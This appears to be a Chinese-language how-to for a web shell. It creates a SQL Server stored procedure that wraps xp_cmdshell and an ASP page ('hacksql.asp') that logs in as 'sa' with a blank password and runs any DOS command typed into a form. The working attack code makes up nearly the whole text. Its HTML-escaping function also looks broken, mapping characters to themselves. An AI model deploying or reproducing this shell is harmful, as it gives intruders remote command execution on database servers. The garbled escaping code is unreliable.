1、首先在sql里面你能够访问的数据库里面建立存储过程，比如说：ddy
如下：
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下：（hacksql.asp）
<%
cmd=trim(Request.Form("cmd"))
if cmd<>"" then
work()
else
show()
end if
function work()
set conn=server.CreateObject("adodb.connection")
set rs=server.CreateObject("adodb.recordset")
conn.Open "xx","sa",""
sql="exec ddy \'"&cmd&"\'"

rs.Open sql,conn
if not rs.EOF then
do while not rs.eof
Response.Write "<pre>"&htmlencode2(trim(rs(0)))&"</pre>"
rs.MoveNext
loop
else
Response.Write "no"
end if
if rs.State=1 then rs.close
set rs=nothing
conn.Close
set conn=nothing
end function
function show()
%>
<form action=hacksql.asp method=post>
请输入DOS命令：<input type=text name=cmd>
<input type=submit value="ok">
</form>
<%
end function
function htmlencode2(str)\'--------转换函数（为了显示时比较工整）
dim result
dim l
if isnull(str) then
htmlencode2=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case chr(13)
result=result+"<br>"
case chr(9)
result=result+" "
case "\'"
result=result+"’"
case chr(32)
result=result+" "
if i+1<=l and i-1>0 then
if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then
result=result+" "
else
result=result+" "
end if
else
result=result+" "
end if
case else
result=result+mid(str,i,1)
end select
next
htmlencode2=result
end function
%>